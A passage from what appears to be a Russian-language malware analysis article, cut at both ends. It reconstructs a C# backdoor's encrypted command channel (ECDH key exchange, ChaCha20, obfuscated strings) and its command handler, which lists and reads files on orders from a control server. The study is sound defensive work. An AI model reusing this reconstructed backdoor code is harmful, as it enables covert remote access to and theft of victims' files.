ecPointClientPublicKey.Normalize();  BigInteger bigIntAffineClientX = ecPointClientPublicKeyNormolized.AffineXCoord.ToBigInteger(); BigInteger bigIntAffineClientXXor = bigIntAffineClientX.Xor(bigXorKey);  bigIntAffineClientXXor.ToByteArrayUnsigned(bArrayBuffer); myEC.networkStream.Write(bArrayBuffer);  BigInteger bigIntAffineClientY = ecPointClientPublicKeyNormolized.AffineYCoord.ToBigInteger();  BigInteger bigIntAffineClientYXor = bigIntAffineClientY.Xor(bigXorKey);  bigIntAffineClientYXor.ToByteArrayUnsigned(bArrayBuffer); myEC.networkStream.Write(bArrayBuffer); <\/code><\/pre>\n<p>\u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0442\u043e\u0447\u043a\u0438 <strong>ecPointClientPublicKey<\/strong> (<img decoding=\"async\" class=\"formula inline\" source=\"Q_{\\text{cli}}\" alt=\"Q_{\\text{cli}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/26\/261\/261cab706cb81fba984a7d9b5beedea7.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/26\/261\/261cab706cb81fba984a7d9b5beedea7.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/26\/261\/261cab706cb81fba984a7d9b5beedea7.svg 781w\" loading=\"lazy\" decode=\"async\"\/>) \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u0430 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0445 \u0430\u0444\u0444\u0438\u043d\u043d\u044b\u0445 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442 <img decoding=\"async\" class=\"formula inline\" source=\"x\" alt=\"x\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/9d\/9dd\/9dd4e461268c8034f5c8564e155c67a6.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/9d\/9dd\/9dd4e461268c8034f5c8564e155c67a6.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/9d\/9dd\/9dd4e461268c8034f5c8564e155c67a6.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0438 <img decoding=\"async\" class=\"formula inline\" source=\"y\" alt=\"y\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/4\/41\/415\/415290769594460e2e485922904f345d.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/4\/41\/415\/415290769594460e2e485922904f345d.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/4\/41\/415\/415290769594460e2e485922904f345d.svg 781w\" loading=\"lazy\" decode=\"async\"\/>, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435, \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u0438\u043b\u0438 \u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430.<\/p>\n<h3>\u0428\u0430\u0433 5. \u041f\u0440\u0438\u0451\u043c \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430<\/h3>\n<p>\u0414\u0430\u043b\u0435\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0442\u0441\u044f \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b <img decoding=\"async\" class=\"formula inline\" source=\"x_{\\text{serv}}\" alt=\"x_{\\text{serv}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8c\/8cb\/8cb5707cb85a3ff78983e1f664b75bb4.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8c\/8cb\/8cb5707cb85a3ff78983e1f664b75bb4.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8c\/8cb\/8cb5707cb85a3ff78983e1f664b75bb4.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0438 <img decoding=\"async\" class=\"formula inline\" source=\"y_{\\text{serv}}\" alt=\"y_{\\text{serv}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/00\/008\/00877fe052e5a25fc6bd571590640a0e.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/00\/008\/00877fe052e5a25fc6bd571590640a0e.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/00\/008\/00877fe052e5a25fc6bd571590640a0e.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0442\u043e\u0447\u043a\u0438 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 <img decoding=\"async\" class=\"formula inline\" source=\"Q_{\\text{serv}}\" alt=\"Q_{\\text{serv}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/5\/54\/543\/543d6bf9ed812856cb65ffa9ba1f81c3.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/5\/54\/543\/543d6bf9ed812856cb65ffa9ba1f81c3.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/5\/54\/543\/543d6bf9ed812856cb65ffa9ba1f81c3.svg 781w\" loading=\"lazy\" decode=\"async\"\/>:<\/p>\n<pre><code class=\"cs\">myEC.networkStream.Read(bArrayBuffer); BigInteger bigIntServerXXor = new BigInteger(1, bArrayBuffer, 0, 48, true); BigInteger bigIntServerX = bigIntServerXXor.Xor(bigXorKey); myEC.networkStream.Read(bArrayBuffer); BigInteger bigIntServerYXor = new BigInteger(1, bArrayBuffer, 0, 48, true); BigInteger bigIntServerY = bigIntServerYXor.Xor(bigXorKey);  Org.BouncyCastle.Math.EC.ECPoint ecPointServerPublic = myEC.ellipticCurve.CreatePoint(bigIntServerX, bigIntServerY); <\/code><\/pre>\n<h3>\u0428\u0430\u0433 6. \u0412\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u0449\u0435\u0433\u043e \u0441\u0435\u043a\u0440\u0435\u0442\u0430<\/h3>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043e\u0431\u043c\u0435\u043d\u0430 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u0430\u043c\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 (<img decoding=\"async\" class=\"formula inline\" source=\"x_{\\text{cli}}\" alt=\"x_{\\text{cli}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/1\/12\/126\/126c97dd98519e019dce0797f9d2484d.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/1\/12\/126\/126c97dd98519e019dce0797f9d2484d.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/1\/12\/126\/126c97dd98519e019dce0797f9d2484d.svg 781w\" loading=\"lazy\" decode=\"async\"\/>, <img decoding=\"async\" class=\"formula inline\" source=\"y_{\\text{cli}}\" alt=\"y_{\\text{cli}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/73\/737\/737401bc12c41d01bbf1c3bfacf83b11.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/73\/737\/737401bc12c41d01bbf1c3bfacf83b11.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/73\/737\/737401bc12c41d01bbf1c3bfacf83b11.svg 781w\" loading=\"lazy\" decode=\"async\"\/>) \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 (<img decoding=\"async\" class=\"formula inline\" source=\"x_{\\text{serv}}\" alt=\"x_{\\text{serv}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8c\/8cb\/8cb5707cb85a3ff78983e1f664b75bb4.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8c\/8cb\/8cb5707cb85a3ff78983e1f664b75bb4.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8c\/8cb\/8cb5707cb85a3ff78983e1f664b75bb4.svg 781w\" loading=\"lazy\" decode=\"async\"\/>, <img decoding=\"async\" class=\"formula inline\" source=\"y_{\\text{serv}}\" alt=\"y_{\\text{serv}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/00\/008\/00877fe052e5a25fc6bd571590640a0e.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/00\/008\/00877fe052e5a25fc6bd571590640a0e.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/00\/008\/00877fe052e5a25fc6bd571590640a0e.svg 781w\" loading=\"lazy\" decode=\"async\"\/>) \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u0449\u0435\u0433\u043e \u0441\u0435\u043a\u0440\u0435\u0442\u0430 (<img decoding=\"async\" class=\"formula inline\" source=\"S\" alt=\"S\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/5\/5d\/5db\/5dbc98dcc983a70728bd082d1a47546e.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/5\/5d\/5db\/5dbc98dcc983a70728bd082d1a47546e.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/5\/5d\/5db\/5dbc98dcc983a70728bd082d1a47546e.svg 781w\" loading=\"lazy\" decode=\"async\"\/>):<\/p>\n<pre><code class=\"cs\">Org.BouncyCastle.Math.EC.ECPoint ecPointSharedSecret = ecPointServerPublic.Multiply(bigIntClientPrivateKey).Normalize(); <\/code><\/pre>\n<p>\u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0443 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0443\u043c\u043d\u043e\u0436\u0435\u043d\u0438\u044f \u0442\u043e\u0447\u043a\u0438 \u043d\u0430 \u0441\u043a\u0430\u043b\u044f\u0440 \u0432 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0438, \u043e\u0431\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u044b, \u043e\u0431\u043c\u0435\u043d\u0438\u0432\u0430\u044f\u0441\u044c \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u043a\u043b\u044e\u0447\u0430\u043c\u0438 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0435, \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u043e\u0431\u0449\u0438\u0439 \u0441\u0435\u043a\u0440\u0435\u0442:<\/p>\n<p><img decoding=\"async\" class=\"formula\" source=\"S = d_{\\text{serv}} \\cdot Q_{\\text{cli}} = d_{\\text{cli}} \\cdot Q_{\\text{serv}}\" alt=\"S = d_{\\text{serv}} \\cdot Q_{\\text{cli}} = d_{\\text{cli}} \\cdot Q_{\\text{serv}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/5\/57\/570\/570acadcd599ebaa0c872c1d82ee6c2f.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/5\/57\/570\/570acadcd599ebaa0c872c1d82ee6c2f.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/5\/57\/570\/570acadcd599ebaa0c872c1d82ee6c2f.svg 781w\" loading=\"lazy\" decode=\"async\"\/><img decoding=\"async\" class=\"formula\" source=\"S = d_{\\text{serv}} \\cdot (d_{\\text{cli}} \\cdot G) = d_{\\text{cli}} \\cdot (d_{\\text{serv}} \\cdot G)\" alt=\"S = d_{\\text{serv}} \\cdot (d_{\\text{cli}} \\cdot G) = d_{\\text{cli}} \\cdot (d_{\\text{serv}} \\cdot G)\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/da\/da1\/da1ff909e6033d55300ae609f032b7d0.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/da\/da1\/da1ff909e6033d55300ae609f032b7d0.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/da\/da1\/da1ff909e6033d55300ae609f032b7d0.svg 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<p>\u042d\u0442\u043e \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043b\u0435\u0436\u0438\u0442 \u0432 \u043e\u0441\u043d\u043e\u0432\u0435 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043e\u0431\u043c\u0435\u043d\u0430 \u043a\u043b\u044e\u0447\u0430\u043c\u0438, \u0442\u0430\u043a\u043e\u0433\u043e \u043a\u0430\u043a <strong>ECDH<\/strong> (Elliptic Curve Diffie\u2013Hellman).<\/p>\n<h3>\u0428\u0430\u0433 7. \u0418\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u0442\u043e\u0447\u043d\u043e\u0433\u043e \u0448\u0438\u0444\u0440\u0430 ChaCha20<\/h3>\n<p>\u0417\u0430\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u044d\u0442\u0430\u043f\u043e\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0441\u0438\u043c\u043c\u0435\u0442\u0440\u0438\u0447\u043d\u043e\u0433\u043e \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0430 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f <strong>ChaCha20<\/strong>. \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u043a\u043b\u044e\u0447\u0430 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0431\u0435\u0440\u0435\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0445\u0435\u0448\u0430 \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u043e \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0443 <strong>SHA512<\/strong> \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b <img decoding=\"async\" class=\"formula inline\" source=\"x_{\\text{S}}\" alt=\"x_{\\text{S}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/86\/86c\/86c9ffbb8509d74999b9948a9937558d.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/86\/86c\/86c9ffbb8509d74999b9948a9937558d.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/86\/86c\/86c9ffbb8509d74999b9948a9937558d.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u043e\u0442 \u0442\u043e\u0447\u043a\u0438 \u043e\u0431\u0449\u0435\u0433\u043e \u0441\u0435\u043a\u0440\u0435\u0442\u0430 <strong>ecPointSharedSecret<\/strong> (<img decoding=\"async\" class=\"formula inline\" source=\"S\" alt=\"S\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/5\/5d\/5db\/5dbc98dcc983a70728bd082d1a47546e.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/5\/5d\/5db\/5dbc98dcc983a70728bd082d1a47546e.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/5\/5d\/5db\/5dbc98dcc983a70728bd082d1a47546e.svg 781w\" loading=\"lazy\" decode=\"async\"\/>). \u041a\u043b\u044e\u0447 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e \u043f\u0435\u0440\u0432\u044b\u0435 32 \u0431\u0430\u0439\u0442\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b <img decoding=\"async\" class=\"formula inline\" source=\"x_{\\text{S}}\" alt=\"x_{\\text{S}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/86\/86c\/86c9ffbb8509d74999b9948a9937558d.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/86\/86c\/86c9ffbb8509d74999b9948a9937558d.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/86\/86c\/86c9ffbb8509d74999b9948a9937558d.svg 781w\" loading=\"lazy\" decode=\"async\"\/>, \u0432\u0435\u043a\u0442\u043e\u0440 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 8 \u0431\u0430\u0439\u0442:<\/p>\n<pre><code class=\"cs\">BigInteger bigIntSharedAffinX = ecPointSharedSecret.AffineXCoord.ToBigInteger(); bigIntSharedAffinX.ToByteArrayUnsigned(bArrayBuffer);  myEC.iStreamCipher = new ChaChaEngine(20);  byte[] bArrayHashSHA512 = SHA512.HashData(bArrayBuffer);  byte[] bArrayKey = new byte[32]; Array.Copy(bArrayHashSHA512, bArrayKey, 32);  byte[] bArrayIV = new byte[8]; Array.Copy(bArrayHashSHA512, 32, bArrayIV, 0, 8);  KeyParameter paramsKey = new KeyParameter(bArrayKey); ParametersWithIV paramsIv = new ParametersWithIV(paramsKey, bArrayIV);  myEC.iStreamCipher.Init(true, paramsIv); <\/code><\/pre>\n<h3>\u0428\u0430\u0433 8. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043c\u0435\u043d\u0430<\/h3>\n<p>\u0414\u043b\u044f \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430 \u0441\u0432\u044f\u0437\u0438 \u043a\u043b\u0438\u0435\u043d\u0442 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \u0438 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 \u0435\u0451 \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0439 \u2013 <strong>verify<\/strong>:<\/p>\n<pre><code class=\"cs\">string strReceived = myEC.ReceiveDecrypted();  \/\/ string strVerify = \"verify\"; string strEncVerify = \"53630195971b\"; string strVerify = myEC.DecodeEncryptData(strEncVerify);  if (!strReceived.Equals(strVerify)) {     \/\/ string strnVerifyFailed = \"verify failed\";     string strnEncVerifyFailed = \"53630195971b3fde1c17e751ad\";     string strnVerifyFailed = myEC.DecodeEncryptData(strnEncVerifyFailed);     throw new InvalidOperationException(strnVerifyFailed); } SendAndEncrypt(strVerify); <\/code><\/pre>\n<p>\u0415\u0441\u043b\u0438 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c <strong>verify<\/strong>, \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0430 \u043e\u0431\u043c\u0435\u043d\u0430 \u043a\u043b\u044e\u0447\u0430\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u0443\u0441\u043f\u0435\u0448\u043d\u043e, \u0438 \u043c\u043e\u0436\u043d\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0435 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c.<\/p>\n<h4>\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 GetCommand()<\/h4>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043e\u0431\u043c\u0435\u043d\u0430 \u043e\u0431\u0449\u0438\u043c \u043a\u043b\u044e\u0447\u043e\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e <strong>GetCommand()<\/strong>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u043e\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0435\u0432\u0435\u043b\u0438\u043a\u043e:<\/p>\n<ul>\n<li>\n<p><strong>cd<\/strong> \u2013 \u0441\u043c\u0435\u043d\u0430 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430;<\/p>\n<\/li>\n<li>\n<p><strong>ls<\/strong> \u2013 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0441\u043f\u0438\u0441\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0430\u043f\u043e\u043a. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 \u0432\u044b\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u0431\u043b\u043e\u043a\u0435 <code>=== dirs ===<\/code>, \u0430 \u0444\u0430\u0439\u043b\u044b \u2013 \u0432 \u0431\u043b\u043e\u043a\u0435 <code>=== files ===<\/code>;<\/p>\n<\/li>\n<li>\n<p><strong>cat<\/strong> \u2013 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430;<\/p>\n<\/li>\n<li>\n<p><strong>exit<\/strong> \u2013 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b.<\/p>\n<\/li>\n<\/ul>\n<p>\u0412\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <strong>GetCommand()<\/strong>:<\/p>\n<pre><code class=\"cs\">private static void GetCommand() {     string strReceived;     string[] strArraySplit;     int intSizeArraySplit;      while (true)     {         while (true)         {             while (true)             {                 while (true)                 {                     strReceived = myEC.ReceiveDecrypted();                      \/\/ string strnPipe = \"|\";                     string strEncPipe = \"59\";                     string strPipe = myEC.DecodeEncryptData(strEncPipe);                      strArraySplit = strReceived.Split(strPipe);                     intSizeArraySplit = strArraySplit.Length;                     if (intSizeArraySplit == 0)                     {                         throw new BadImageFormatException();                     }                      \/\/ string strCD = \"cd\";                     string strEncCD = \"4662\";                     string strCD = myEC.DecodeEncryptData(strEncCD);                     if (!strArraySplit[0].Equals(strCD))                     {                         break;                     }                      if (intSizeArraySplit &lt;= 1)                     {                         throw new BadImageFormatException();                     }                      Directory.SetCurrentDirectory(strArraySplit[1]);                      \/\/ string strOK = \"ok\";                     string strEncOK = \"4a6d\";                     string strOK = myEC.DecodeEncryptData(strEncOK);                      SendAndEncrypt(strOK);                 }                  \/\/ string strLS = \"ls\";                 string strEncLS = \"4975\";                 string strLS = myEC.DecodeEncryptData(strEncLS);                 if (!strArraySplit[0].Equals(strLS))                 {                     break;                 }                 StringBuilder sbDirsFiles = new StringBuilder();                  \/\/ string strEncSeparatorDirs = \"=== dirs ===\";                 string strEncHeaderDirs = \"183b4edc950b6dcb5d43b609\";                 string strHeaderDirs = myEC.DecodeEncryptData(strEncHeaderDirs);                 sbDirsFiles.Append(strHeaderDirs);                 sbDirsFiles.Append(Environment.NewLine);                  string currentDirectory = Directory.GetCurrentDirectory();                  \/\/ string strEncSeparatorDirs = \".\";                 string strEncSymbolPoint = \"0b\";                 string strSymbolPoint = myEC.DecodeEncryptData(strEncSymbolPoint);                  string[] strArrayDirectories = Directory.GetDirectories(currentDirectory, strSymbolPoint);                 int intAmountDirectories = strArrayDirectories.Length;                 if (intAmountDirectories &gt; 0)                 {                     for (int iter = 0; iter &lt; intAmountDirectories; iter++)                     {                         sbDirsFiles.Append(strArrayDirectories[iter]);                         sbDirsFiles.Append(Environment.NewLine);                     }                 }                  \/\/ string strEncSeparatorDirs = \"=== files ===\";                 string strEncHeaderFiles = \"183b4edc970b73dd0e5eb609f4\";                 string strHeaderFiles = myEC.DecodeEncryptData(strEncHeaderFiles);                 sbDirsFiles.Append(strHeaderFiles);                 sbDirsFiles.Append(Environment.NewLine);                  string[] strArrayFiles = Directory.GetFiles(currentDirectory, strSymbolPoint);                 int intAmountFiles = strArrayFiles.Length;                 if (intAmountFiles &gt; 0)                 {                     for (int iter = 0; iter &lt; intAmountFiles; iter++)                     {                         